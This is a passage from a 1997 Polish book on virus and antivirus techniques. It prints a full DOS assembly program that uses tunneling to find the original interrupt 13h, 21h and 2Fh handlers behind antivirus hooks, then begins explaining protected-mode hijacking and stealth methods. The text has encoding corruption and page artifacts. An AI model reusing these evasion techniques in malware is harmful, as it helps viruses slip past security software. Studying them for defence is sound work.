......... ; pamiÛµ wykorzystywana przez inne programy
Element_N ......... ; ostatni element │a±cucha - poszukiwana czÛ£µ systemu
Powr¾t_Z_Elementu_N ; powr¾t poprzez rozkaz IRET lub
; RETF 2 do elementu poprzedniego lub bezpo£rednio
; do wywo│uj╣cego programu

Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić
do następującej sekwencji:
mov ah,52h ; pobierz do ES:BX adres struktury
int 21h ; LL (lista list)
mov bx,es
xor ax,ax ; ustaw adres DS:SI na adres
mov ds,ax ; przerwania 21h wskazywanego
mov si,21h*4 ; przez tablice przerwa±
xchg ax,di ; DI=licznik sprawdzanych bajtow=0
Adres 32:
Ids si,ds:[si] ; pobierz adres
or bx,bx ; czy koniec szukania ?

background image

jz WSegmencieDOS ; TAK - powr¾t DS:SI-adres
mov ax,ds ; \ czy jest to segment DOS ?
cmp ax, bx ; /
jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec szukania
NastepnyBajt:
lodsw ; weƒ 2 bajty bÛd╣ce czÛ£ci╣ aktualnej procedury dec si
; sprawdzamy co bajt
cmp al,9Ah ; czy jest to CALL FAR PTR ?
je Adres32 ; TAK - weƒ kolejny adres
cmp al,0EAh ; czy jest to JMP FAR PTR ?
je Adres32 ; TAK - weƒ kolejny adres
cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?
jne NieJMP_DWORD
cmp byte ptr [si+l],al ; czy dalsz╣ czÛ£µ rozkazu JMP FAR CS:DWORD ?
jne NieJMP_DWORD
mov si,ds:[si+2] ; pobierz offset do danych dla skoku jmp short Adres32
; TAK - weƒ kolejny adres
NieJMP_DWORD:
inc DI ; licznik sprawdzanych bajt¾w
and DI,4095 ; je┐eli sprawdzono ju┐ 4095 bajt¾w,
je Recursive21_Exit ; to ko±cz, bo tuneling nie dzia│a
jmp NastepnyBajt ; weƒ kolejny bajt
WSegmencieDOS:
............ ; adres zosta│ znaleziony (jest w DS:SI)
RecursNieDzia│a:
............ ; adres nie zosta│ znaleziony

6.4.4. Trik2F/13
Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych
dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania
nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja
o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej:
zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę
wykorzystuje IO.SYS przy starcie sy
stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do
dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej
dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja
pokazuje, jak za pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on
kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie:
; Trik 2F/13
MOV AH,13h ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX adres

; procedury obs│ugi (mo┐na pomin╣µ gdy┐ za

; chwilÛ i tak zostanie przywr¾cona w│a£ciwa

; procedura obs│ugi). ES:BX adres procedury, kt¾ra system
; bÛdzie ustawia│ jako procedurÛ obs│ugi przerwania nr 13h

background image

; przy ewentualnym zawieszeniu systemu lub po wywo│aniu

; int 19h (tak┐e mo┐na pomin╣µ)

INT 2Fh ; wywo│aj funkcjÛ 13h

; po wywo│aniu ES:BX zwraca adres procedury, kt¾ra system
; ustawi jako int 13h w wy┐ej wymienionych wypadkach, czyli

; zwykle bÛdzie to oryginalna procedura obs│ugi przerwania

13h MOV SEG_13,ES ; trzeba zapamiÛtaµ adres oryginalnej procedury obs│ugi
MOV OFS_13,BX ; intl3h, znajduj╣cej siÛ w ES:BX
MOV AH,13h ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX i ES:BX to warto£ci

; z poprzedniego wywo│ania funkcji (13/2F)

INT 2Fh ; wywo│aj funkcjÛ 13h

Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z
wykorzystaniem różnych technik tunelingowych-

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; TUNEL v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program demonstruje uzycie kilku odmian tunelingu ;
; do znalezienia oryginalnych adresow przerwan ;
; - 13h (trik 2F/13, tryb krokowy) ;
; - 21h (tablica stalych adresow, tryb krokowy, tuneling rekursywny) ;
; - 2Fh (tablica stalych adresow) ;
; ;
; Kompilacja : ;
; TASM TUNEL.ASM ;
; TLINK /t TUNEL.OBJ ;
; ;
;----------------------------------------------------------------------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych

ON = 001h ; \ stale potrzebne do obslugi
OFF = 002h ; / przerwania 1

PROG segment ; segment kodu i danych

ORG 100h ; program jest typu COM

Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG

CodeStart: ; tu zaczyna sie program

background image

lea si,TeCopyRight ; \ pokaz info o programie
Call Print ; /

Call GetOriginal13 ; pokaz oryginalny adres 13h

Call GetOriginal21 ; pokaz oryginalny adres 21h

Call GetOriginal2F ; pokaz oryginalny adres 21h

mov ax, 4C00h ; \ koncz program i powroc do DOSa
int 21h ; /

GetOriginal13 proc near ; procedura pobiera oryginalny adres
; Int 13h (na dwa sposoby) i wyswietla
; go
push si ; zachowaj zmieniany rejestr

lea si,TeGet13 ; \ pokaz info o przerwaniu 13h
Call Print ; /

Call Trik2F13 ; wez adres 13h
; metoda Trik 2F/13
Call ShowAddr ; pokaz adres 13h

Call Tracing13 ; wez adres 13h
; metoda tracingu
Call ShowAddr ; pokaz adres 13h

pop si ; przywroc zmieniany rejestr

ret ; powrot z procedury

GetOriginal13 endp

Trik2F13 proc near ; procedura pobiera oryginalny adres
; Int 13h wykorzystujac funkcje 13h
; przerwania 2Fh
; (wewnetrzna funkcja DOS)
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push dx ; /
push si ; /

lea si,TeTrik2F13 ; \ pokaz info o metodzie

background image

Call Print ; / Trik 2F/13h

xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ah,13h ; \
int 2Fh ; \
; \
mov cs:ShowSeg,es ; \ trik 2F/13
mov cs:ShowOFS,bx ; /
; /
mov ah,13h ; /
int 2Fh ; /

pop si ; \
pop dx ; \
pop bx ; \ przywroc zmieniane rejestry
pop ax ; /
pop es ; /
pop ds ; /

ret ; powrot z procedury

Trik2F13 endp

Tracing13 proc near ; procedura popbiera oryginalny
; adres Int 13h, wykorzystujac
; metode tracingu

push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /

mov ShowError, offset TeTracingFail
; ewentualny komunikat o bledzie

lea si,TeTracing13 ; \ wyswietl info o metodzie
Call Print ; /

xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

background image

mov ah,8 ; \ pobierz info o twardym dysku
mov dl,80h ; \ i zachowaj na pozniej wartosci
int 13h ; / rejestrow CX i DX; beda one
mov MagicNum1,cx ; / potrzebne do sprawdzenia czy
mov MagicNum2,dx ; / tracer jest juz w dobrym kodzie

mov ax,3513h ; \ wez adres przerwania Int 13h,
int 21h ; \ zeby mozna je bylo przetrace'owac,
mov CallFarSeg,es ; / trzeba je emulowac poprzez
mov CallFarOfs,bx ; / pushf/call dword ptr Ofs:Seg

mov TraceMode,OFF ; flaga potrzebna tracerowi

mov ax,3501h ; \ pobierz adres obslugi
int 21h ; \ przerwania krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i ustaw nowa procedure jego
; - obslugi, sprawdzajaca, czy
mov dx,offset Tracer_13 ; / funkcja zostala juz wykonana
mov ax,2501h ; / przez BIOS
int 21h ; /

pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /

mov dl,80h ; parametr funkcji 08/int 13h = HD0
mov ah,08h ; numer funkcji BIOS
pushf ; czesc emulacji Int 13
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall
; emuluj int 13
mov TraceMode,OFF ; wylacz flage tracera

pushf ; \ wylacz tryb krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /

lds dx,dword ptr cs:of1 ; \ przywroc stary adres przerwania
mov ax,2501h ; / krokowego Int 1
int 21h ; /

background image

pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /

ret ; powrot z procedury

Tracing13 endp

Tracer_13 proc far

push bp ; zachowaj zmieniany rejestr

mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS

push ax ; zachowaj zmieniany rejestr

cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_13Exit ; jesli nie, to wyskocz z procedury

mov ax,[bp+04] ; AX=CS image
cmp ax,cs:ShowSeg ; czy segment kodu ten sam
je OldSeg13 ; tak=wyskocz procedury

; nie=zachowaj nowy adres seg:ofs
mov cs:ShowSeg,ax ; AX=CS image
mov ax,[bp+02] ; AX=IP image
mov cs:ShowOfs,ax

OldSeg13:
cmp cx,cs:MagicNum1 ; \
jne Tracer_13Exit ; \ czy funkcja sie juz wykonala ?
cmp dx,cs:MagicNum2 ; / nie=wyskocz z procedury
jne Tracer_13Exit ; /

mov cs:TraceMode,OFF ; tak=wylacz tracer, bo adres
; znaleziony
Tracer_13Exit: ; koniec przerwania Int 1

pop ax ; przywroc zmieniany rejestr

background image

or byte ptr [bp+7],1 ; [bp+06] FLAGS , ustaw
; bit TF dla nastepnego rozkazu
; wykonywanego po IRET

pop bp ; przywroc zmieniany rejestr

iret ; powrot z przerwania Int 1

Tracer_13 endp

GetOriginal21 proc near

push si ; zachowaj zmieniany rejestr

lea si,TeGet21 ; \ pokaz info o przerwaniu 21h
Call Print ; /

Call LookUpTable21 ; wez adres 21h
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h

Call Recursive21 ; wez adres 21h
; metoda tunelingu rekursywnego
Call ShowAddr ; pokaz adres 21h

Call Tracing21 ; wez adres 21h
; metoda tracingu (tryb krokowy)
Call ShowAddr ; pokaz adres 21h

pop si ; przywroc zmieniany rejeetr

ret ; powrot z procedury

GetOriginal21 endp

LookUpTable21 proc near

push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /

lea si,TeLookUpTable21 ; \ wyswietl info o metodzie
Call Print ; /

xor ax,ax ; \ zeruj zmienne pomocnicze

background image

mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o bledzie

mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS, ah=major,al=minor

mov bx,109Eh ; ofset dla DOS 5.0 - 6.22

cmp ax,0500h ; wersja musi byc wieksza od 5.00
jb LookUpTable21_Exit ; mniejsza=tuneling nie zadziala

cmp ax,0622h ; dla wersji wiekszej od 6.22
jbe DOSVerOk21 ; jest inny ofset

mov bx,0FB2h ; ofset dla DOS >6.22 (np. 7.0)

DOSVerOk21: ; ofset ustawiony
push bx ; zachowaj go na stosie

mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)

pop bx ; przywroc ze stosu ofset do skoku

mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o bledzie

; czy pod ES;BX jest sekwencja
; 90 lub EB NOP \JMP $+3
; 90 lub 03 NOP /
; E8 xx xx CALL NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK21 ; skocz, gdy sa 2 NOPy

cmp word ptr es:[bx],03EBh
jne LookUpTable21_Exit ; skocz, gdy JMP $+3

FirstCodeOK21:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable21_Exit ; skocz, gdy nie ma CALL xxxx

cmp word ptr es:[bx+5],0FF2Eh

background image

jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far

cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far

mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury
les bx,dword ptr es:[bx] ; /

mov ShowSeg,es ; przepisz segment i offset
mov ShowOfs,bx ; potrzebne do wyswietlenia adresu

LookUpTable21_Exit: ; skacz tu, gdy jakis blad

pop si
pop bx ; \
pop ax ; - przywroc zmieniane rejeetry
pop es ; /

ret ; powrot z procedury

LookUpTable21 endp

Recursive21 proc near

push es ; \
push ds ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /
push di ; /

lea si,TeRecursive21 ; \ wyswietl info o metodzie
Call Print ; /

mov ShowError, offset TeRecursive21Fail
; ewentualny komunikat o bledzie

xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)
mov bx,es

xor ax,ax ; ustaw adres DS:SI na adres
mov ds,ax ; przerwania 21h wskazywanego

background image

mov si,21h*4 ; przez tablice przerwa±
xchg ax,di ; DI=licznik sprawdzanych bajtow=0

Adres32:
lds si,ds:[si] ; pobierz adres

or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powrot DS:SI=adres

mov ax,ds ; \ czy jest to segment DOS ?
cmp ax,bx ; /

jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec szukania

NastepnyBajt:
lodsw ; wez 2 bajty bedace czescia
; aktualnej procedury
dec si ; sprawdzamy co bajt

cmp al,9Ah ; czy jest to CALL FAR PTR ?
je Adres32 ; TAK - wez kolejny adres

cmp al,0EAh ; czy jest to JMP FAR PTR ?
je Adres32 ; TAK - wez kolejny adres

cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?
jne NieJMP_DWORD ;

cmp byte ptr [si+1],al ; czy dalsza czesc rozkazu JMP FAR CS:DWORD ?
jne NieJMP_DWORD ;

mov si,ds:[si+2] ; pobierz ofset do danych dla skoku
jmp short Adres32 ; TAK - wez kolejny adres

NieJMP_DWORD:

inc DI ; licznik sprawdzanych bajtow
and DI,4095 ; jezeli sprawdzono juz > 4095 bajtow,
je Recursive21_Exit ; to koncz, bo tuneling nie dziala

jmp NastepnyBajt ; wez kolejny bajt

WSegmencieDOS:
; adres zostal znaleziony (jest w DS:SI)

background image

mov cs:ShowSeg,ds ; przepisz segment i offset
mov cs:ShowOfs,si ; potrzebne do wyswietlenia adresu

Recursive21_Exit: ; skacz tu, gdy jakis blad

pop di ; \
pop si ; \
pop bx ; \ przywroc zmieniane rejeetry
pop ax ; /
pop ds ; /
pop es ; /

ret ; powrot z procedury

Recursive21 endp

Tracing21 proc near ; procedura popbiera oryginalny
; adres Int 13h wykorzystujac
; metode tracingu

push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /

mov ShowError, offset TeTracingFail
; ewentualny komunikat o bledzie

lea si,TeTracing21 ; \ wyswietl info o metodzie
Call Print ; /

xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ah,62h ; \ pobierz info o aktualnym PSP
int 21h ; \ i zachowaj na pozniej te wartosc
mov MagicNum1,bx ; / (rejestr BX) bedzie ona
; / potrzebna, zeby sprawdzic, czy
; / tracer jest juz w dobrym kodzie
mov ax,3521h
int 21h ; \ wez adres przerwania Int 21h,
mov CallFarSeg,es ; \ zeby mozna je bylo przetrace'ow
mov CallFarOfs,bx ; / trzeba je emulowac poprzez

background image

; / pushf/call dword ptr Ofs:Seg

mov TraceMode,OFF ; flaga potrzebna dla tracera

mov ax,3501h ; \ pobierz adres obslugi
int 21h ; \ przerwania krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i zmien je na nowa procedure
; - obslugi, sprawdzajaca czy
mov dx,offset Tracer_21 ; / funkcja zostala juz wykonana
mov ax,2501h ; / przez DOS
int 21h ; /

pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /

mov ah,62h ; numer funkcji DOS
pushf ; czesc emulacji Int 21
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall ; emuluj int 21
mov TraceMode,OFF ; wylacz flage tracera

pushf ; \ wylacz tryb krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /
; \ przywroc stary adres przerwania
lds dx,dword ptr cs:of1 ; / krokowego Int 1
mov ax,2501h ; /
int 21h

pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /

ret ; powrot z procedury

Tracing21 endp

background image

Tracer_21 proc far

push bp ; zachowaj zmieniany rejestr

mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS

push ax ; zachowaj zmieniany rejestr

cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_21Exit ; jesli nie, to wyskocz z procedury

mov ax,[bp+04] ; AX=CS instrukcji
cmp ax,cs:ShowSeg ; czy segment kodu ten sam
je OldSeg21 ; tak=wyskocz procedury

mov cs:ShowSeg,ax ; nie=zachowaj nowy adres seg:ofs
mov ax,[bp+02] ; AX=CS instrukcji
mov cs:ShowOfs,ax ; AX=IP instrukcji

OldSeg21:
cmp bx,cs:MagicNum1 ; \
jne Tracer_21Exit ; \ czy funkcja juz sie wykonala ?
; / nie=wyskocz z procedury
mov cs:TraceMode,OFF ; / tak=wylacz tracer, bo adres
; / znaleziony

Tracer_21Exit: ; koniec przerwania Int 1

pop ax ; przywroc zmieniany rejestr

or byte ptr [bp+7],1 ; [bp+06] FLAGS, ustaw
; bit TF dla nastepnego rozkazu
; wykonywanego po IRET

pop bp ; przywroc zmieniany rejestr

iret ; powrot z przerwania Int 1

Tracer_21 endp

GetOriginal2F proc near

background image

push si ; zachowaj zmieniany rejestr

lea si,TeGet2F ; \ pokaz info o przerwaniu 2Fh
Call Print ; /

Call LookUpTable2F ; wez adres 2Fh
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h

pop si ; przywroc zmieniany rejestr

ret ; powrot z procedury

GetOriginal2F endp

LookUpTable2F proc near

push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /

lea si,TeLookUpTable2F ; \ wyswietl info o metodzie
Call Print ; /

xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o bledzie

mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS, ah=major,al=minor

mov bx,10C6h ; ofset dla DOS 5.0 - 6.22

cmp ax,0500h ; wersja musi byc wieksza od 5.00
jb LookUpTable2F_Exit ; mniejsza=tuneling nie zadziala

cmp ax,0622h ; dla wersji wiekszej od 6.22
jbe DOSVerOk2F ; jest inny ofset

mov bx,0FDAh ; ofset dla DOS >6.22 (np. 7.0)

DOSVerOk2F: ; ofset ustawiony

background image

push bx ; zachowaj go na stosie

mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)

pop bx ; przywroc ze stosu ofset do skoku

mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o bledzie

; czy pod ES;BX jest sekwencja
; 90 lub EB NOP \JMP $+3
; 90 lub 03 NOP /
; E8 xx xx CALL NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK2F ; skocz, gdy sa 2-a NOPy

cmp word ptr es:[bx],03EBh
jne LookUpTable2F_Exit ; skocz, gdy JMP $+3

FirstCodeOK2F:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma CALL xxxx

cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far

cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far

mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury
les bx,dword ptr es:[bx] ; /

mov ShowSeg,es ; przepisz segment i ofset
mov ShowOfs,bx ; potrzebne do wyswietlenia adresu

LookUpTable2F_Exit: ; skacz tu, gdy jakis blad

pop si
pop bx ; \
pop ax ; - przywroc zmieniane rejestry
pop es ; /

ret ; powrot z procedury

LookUpTable2F endp

background image

ShowAddr proc near ; wyswietl adres w postaci
; seg:ofs heksalnie na podstawie
; zawartosci zmiennych
; ShowSeg i ShowOfs

push ax ; \ zachowaj zmieniany rejestr
push si ; /

mov si,ShowError ; \ wez adres komunikatu o ewentualnym
; / bledzie
mov ax,ShowSeg ; czy seg i ofs sa wyzerowane,
or ax,ShowOfs ; tzn czy nie znaleziono adresu ?
jz ShowAddrError ; tak=nie znaleziono adresu

mov ax,ShowSeg ; \ wyswietl segment
Call PrintHexDW ; /

mov al,':' ; \ wyswietl dwukropek
Call PrintChar ; /

mov ax,ShowOfs ; \ wyswietl ofset
Call PrintHexDW ; /

lea si,TeCRLF ; \ wyswietl CR,LF,
ShowAddrError: ; - czyli przejdz do nastepnego wiersza
Call Print ; / lub komunikat o bledzie

pop si ; \
pop ax ; / przywroc zmieniany rejestr

ret ; powrot z procedury

ShowAddr endp

PrintHexDW proc near ; procedura wyswietla heksalnie
; liczbe zawarta w AX

push ax ; \ zachowaj zmieniane rejestry
push bx ; /

lea bx,HexChars ; bx wskazuje na tablice konwersji
; liczb heksadecymalnych 0..F

Call PrintHex ; wyswietl liczbe w AX

background image

pop bx ; \ przywroc zmieniane rejestry
pop ax ; /

ret ; powrot z procedury

PrintHexDW endp

PrintHex proc near

push ax ; zachowaj mlodsza czesc adresu

mov al,ah ; AL=starsza czesc adresu
Call PrintHexDB ; wyswietl starsza czesc adresu

pop ax ; przywroc mlodsza czesc adresu

PrintHexDB: ; wyswietl czesc adresu z al

mov ah,al ; zachowaj na chwile te czesc

shr al,1 ; \ wyswietl starsza czesc bajtu
shr al,1 ; \ al przesuniete o 4 w prawo
shr al,1 ; \
shr al,1 ; /
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL

mov al,ah ; \ wyswietl mlodsza czesc bajtu
and al,15 ; \ al zamaskowane z 00001111b
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL

ret ; powrot z procedury
PrintHex endp

Print proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI

push ax ; \ zachowaj zmieniane rejestry
push si ; /

GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz PrintExit ; tak=koniec napisu; wyjdz z petli
Call PrintChar ; nie=wyswietl znak w AL
;

background image

jmp short GetNextChar ; i wez nastepny znak

PrintExit:
pop si ; \ przywroc zmieniane rejestry
pop ax ; /

ret ; powrot z procedury

Print endp

PrintChar proc near ; procedura wyswietla znak w AL

push ax ; zachowaj zmieniany rejestr

mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak w AL

pop ax ; przywroc zmieniany rejestr

ret ; powrot z procedury

PrintChar endp

TeCopyRight:
db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk 1997',NUL

TeGet13 db CR,LF,'Adres oryginalnej procedury 13h : '
db CR,LF,NUL

TeGet21 db CR,LF,'Adres oryginalnej procedury 21h : '
db CR,LF,NUL
TeGet2F db CR,LF,'Adres oryginalnej procedury 2Fh : '
TeCRLF db CR,LF,NUL

TeTrik2F13 db ' _ trik Int 2Fh/13h := ',NUL
TeTracing13 db ' _ tracing 13h := ',NUL

TeLookUpTable21 db ' _ tablica stalych adresow 21h := ',NUL
TeRecursive21 db ' _ tuneling rekursywny 21h := ',NUL
TeTracing21 db ' _ tracing 21h := ',NUL

TeLookUpTable2F db ' _ tablica stalych adresow 2Fh := ',NUL

TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL
TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc >5.0',CR,LF,NUL
TeTracingFail db 'Blad : Tracing nie dziala',CR,LF,NUL

background image

TeRecursive21Fail db 'Blad : Tuneling rekursywny nie dziala',CR,LF,NUL

HexChars db '0123456789ABCDEF'

ShowSeg dw ? ; zmienne pomocnicze do zachowywania
ShowOfs dw ? ; znalezionego adresu

ShowError dw ? ; zmienna dla ewentualnych bledow

of1 dw ? ; zmienne potrzebne do zachowywania
se1 dw ? ; adresu Int 1

IntAsFarCall label dword ; adres dalekiej procedury sluzacej do
CallFarOfs dw ? ; emulacji instrukcji INT
CallFarSeg dw ?

TraceMode db ? ; flaga ON=wlaczony/OFF= wlaczony tracer

MagicNum1 dw ? ; zmienne pomocnicze do przechowywania
MagicNum2 dw ? ; wartosci potrzebnych do sprawdzenia czy
; jestesmy juz we wlasciwym kodzie DOS/BIOS

PROG ends ; koniec segmentu kodu i danych
end CodeStart ; koniec programu, pierwsza instrukcja
; pod etykieta CodeStart

6.5. Wykorzystanie trybu chronionego
Tryb chroniony nie jest zbyt często wykorzystywany przez wirusy, jednak kilka z nich
używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do
trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane
najpierw do wirusa, a dopiero ten przekaże je do oszukiwanego systemu poprzez
chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto,
aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do
pamięci powyżej 1MB.
W przypadku systemu Windows do przejmowania przerwań można wykorzystać fakt, iż
udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode
Interface).
Do przejmowania przerwań służą funkcje:
> 0200h - odczytanie wektora przerwań trybu rzeczywistego;
> 0201h - zapisanie wektora przerwań trybu rzeczywistego;
> 0202h - odczytanie adresu procedury obsługi wyjątku;
> 0203h - ustawienie adresu procedury obsługi wyjątku;
> 0204h - odczytanie wektora przerwań trybu wirtualnego;
> 0205h - zapisanie wektora przerwań trybu wirtualnego;
Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h.
Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji

background image

(1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego
zawarte są w pozycjach [l] i [6] ze spisu na końcu książki.

6.6. Włączanie się jako program obsługi urządzenia
Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on
oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co
zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP

ROZDZIAŁ 7

Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie
wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie
wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących
programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus
znika wkrótce z wirusowej sceny.
Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania
się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w
pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe
ukrywają wirusa przed oczyma ciekawskich.

7.1. Technika stealth
Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku
plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa,
wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią
sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym
powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki
stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się
wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji
systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.
W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora
uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.
Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez
wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały
omówione poniżej.

7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth)
Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych
długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w
oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows Commander
czy też innych, mniej znanych nakładek.
Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z
trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego
wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21).
Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje
odpowiednie pola struktur, na których operuje dana funkcja.
W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi

background image

przerwania, a następnie modyfikuje elementy odpowiedniej struktury:
